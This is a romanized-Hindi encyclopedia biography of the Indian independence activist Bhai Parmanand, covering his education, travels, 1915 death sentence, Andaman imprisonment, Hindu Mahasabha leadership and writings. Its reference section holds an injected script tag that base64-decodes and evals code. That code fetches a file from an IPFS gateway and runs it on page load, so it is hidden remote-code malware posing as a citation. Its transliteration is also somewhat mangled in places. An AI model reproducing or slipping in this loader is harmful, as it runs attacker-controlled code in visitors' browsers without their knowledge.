भाई परमानन्द
bhaee paramanand
| |
| poora nam | bhaee paramanand |
| janm | 4 navambar, 1876 |
| janm bhoomi | kariyala, panjab (ab pakistan) |
| mrityu | 8 disambar, 1947 |
| abhibhavak | bhaee tarachand aur mathura devi |
| nagarikata | bharatiy |
| prasiddhi | svatantrata senani, lekhak, adhyapak |
| dharm | hiandoo |
| vidyalay | di.e.vi. k aaulej aur panjab vishvavidyalay |
| shiksha | em.e. |
| vishesh yogadan | bharat ki svatantrata mean mukhy bhoomika nibhane vale saradar bhagat sianh, sukhadev, ramaprasad bismil aur karatar sianh jaise na jane kitane rashtrabhakt yuvakoan ne inase prerana paee thi. |
| rachanaean | 'hindoo sangathan', 'bharat ka itihas', 'do laharoan ki takkar', 'panjab ka itihas', 'vir banda vairagi', 'meri apabiti' adi |
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bhaee paramanand athava 'pandit paramanand' (aangrezi: Bhai Parmanand, janm- 4 navambar, 1876 - mrityu: 8 disambar, 1947) bharat ke svatantrata sangram ke mahanh kraantikari the. ve bahuayami vyaktitv ke dhani aur ek mahapurush the. paramanand ji jahaan ary samaj aur vaidik dharm ke sachche pracharak the, vahian doosari or ek itihasakar, sahityakar aur prasiddh shikshavid ke roop mean bhi unhoanne khyati arjit ki thi. bharat ki svatantrata mean mukhy bhoomika nibhane vale saradar bhagat sianh, sukhadev, ramaprasad bismil aur karatar sianh jaise na jane kitane rashtrabhakt yuvakoan ne inase prerana paee thi.
janm tatha shiksha
rashtriy vicharoan ke lie videshi sarakar ne jinake lie mrityudand ki ghoshana ki aur jo 'hindoo mahasabha' ke pramukh neta bane the, un bhaee paramanand ka janm 4 navambar 1876 ee. ko panjab ke jhelam zile mean hua tha. unhoanne di.e.vi. k aaulej aur panjab vishvavidyalay se apani shiksha poori ki thi. ve arambh mean hi ary samaj ke neta lala lajapat ray aur mahatma hansaraj ke prabhav mean a gaye the. at: di.e.vi. k aaulej mean adhyapan kary karane ke sath hi ve ary samaj ka prachar bhi karate rahe. 1905 mean ve dakshin afrika gaye aur vahaan samaj ki shakha sthapit ki.
videsh yatra
dakshin afrika se ve itihas ka adhyayan poora karane ke lie landan ge aur 1908 mean bharat akar di.e.vi. k aaulej, lahaur mean phir se adhyapan karane lage. unhoanne barma ki aur phir dobara dakshin afrika ki yatra ki. is bich unhoanne urdoo mean 'tavarikhe urdoo' namak 'bharat ke itihas' ki pustak likhi. ise sarakar ne jabt kar liya. unake ghar ki talashi huee aur tin varsh tak achchha chal-chalan rakhane ke lie unase jamanat dene ko kaha gaya. is par bhaee paramanand ne bharat chho d diya aur briten, gayana aur trinidad hote hue kailiforniya, amerika ja pahuanche. vahaan paramanand ke bachapan ke mitr lala haradayal gadar parti ka kam kar rahe the.
giraftari tatha saza
bhaee paramanand dvara likhi pustak 'tavarikh-e-hind' tatha unake lekh yuvakoan ko sashastr kraanti ke lie prerit karate the. 25 faravari, 1915 ko lahaur mean bhaee paramanand ko giraftar kar liya gaya. unake viruddh amarika tatha ianglaiand mean aangrezi satta ke viruddh sh dayantr rachane, karatar sianh saraba tatha any yuvakoan ko kraanti ke lie prerit karane aur apattijanak sahity ki rachana karane jaise arop lagakar phaansi ki saza suna di gee. isaka samachar milate hi sare desh ke log bh dak uthe. is sthiti mean sarakar ne bhaee paramanand ki phaansi ki saza ko radd kar diya aur unhean ajivan karavas ka dand dekar disambar, 1915 mean aandaman 'kalapani' bhej diya gaya. 1920 mean si.ef. endrooj ki madhyasthata se unhean riha kar diya gaya tha.[1]
aandaman ki kal kothari mean gita ke upadeshoan ne sadaiv paramanand ko karmath banae rakha. jel mean 'shrimadbhagavad gita' sambandhi likhe ge aanshoan ke adhar par unhoanne bad mean 'mere ant samay ka ashray- gita' namak granth ki rachana ki. gaandhi ji ko jab kalapani mean paramanand ko amanaviy yatanaean die jane ka samachar mila to unhoanne 19 navambar, 1919 ke 'yang iandiya' mean ek lekh likhakar yatanaoan ki kathor bhartsana ki. 1920 mean si.ef. endrooj ki madhyasthata se unhean riha kar diya gaya tha.
vichar parivartan
jel se bahar ane par ve 'neshanal k aaulej, lahaur' ke kulapati bane aur kuchh samay tak asahayog andolan mean bhi bhag liya. kintu andolan band hone ke bad desh mean jo sampradayik dange hue, unhean dekhakar bhaee paramanand ke vichar badal ge. unhoanne kaangres par muslim parasti ka arop lagakar hinduoan se 'hindoo mahasabha' ke jhande ke niche sangathit hone ka ahvan kiya. hinduoan ka paksh prastut karane ke lie 1933 mean ve ianglaiand ge aur usi varsh mahasabha ke ajamer adhiveshan ki adhyakshata ki.
kritiyaan
bhaee paramanand ne kee rachanaean bhi ki haian. inake dvara likhit 'hindoo sangathan', 'bharat ka itihas', 'do laharoan ki takkar', 'mere aant samay ka ashray- gita', 'panjab ka itihas', 'vir banda vairagi', 'meri apabiti',. 'hamare rashtr purush' adi sahity ki kritiyaan aj bhi is mahanh vibhooti ki pavan smriti ko amit banaye hue haian. inake dvara rachit kriti 'bharat ka itihas' ko british sarakar ne jabt kar liya tha.[1]
nidhan
british sarakar ne 3 joon, 1947 ko ek ghoshana ki ki bharat ko do bhagoan mean vibhajit kar diya jaega tatha british sarakar 15 agast, 1947 ko satta hastantarit kar degi. bhaee ji ne apani poori samarthy se is sthiti ko talane ka prayas kiya. magar yah desh ka durbhagy hi raha ki ve is atmaghati sthiti ko rok nahian sake. bharat vibhajan se bhaee ji jaise sachche rashtrabhakt ko itana adhik aghat pahuancha ki ve atyadhik asvasth ho ge. unhoanne khana-pina chho d diya tatha 8 disambar, 1947 ko sada-sada ke lie apani aankheanan band kar lian.
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tika tippani aur sandarbh
bharatiy charit kosh |lekhak: liladhar sharma 'parvatiy' |prakashak: shiksha bharati, madarasa rod, kashmiri get, dilli |prishth sankhya: 568 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- ↑ 1.0 1.1 ary, d aauktar vivek. bhaee paramanand (hindi). . abhigaman tithi: 21 march, 2012.
bahari k diyaan
- bhaee paramanand ki punyatithi (8 disambar) par vishesh
- matribhoomi ke lie samarpit kraantikari bhaee paramanand
- hamare rashtrapurush (lekhak- bhaee paramanaand)
sanbandhit lekh
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varnamala kramanusar lekh khoj
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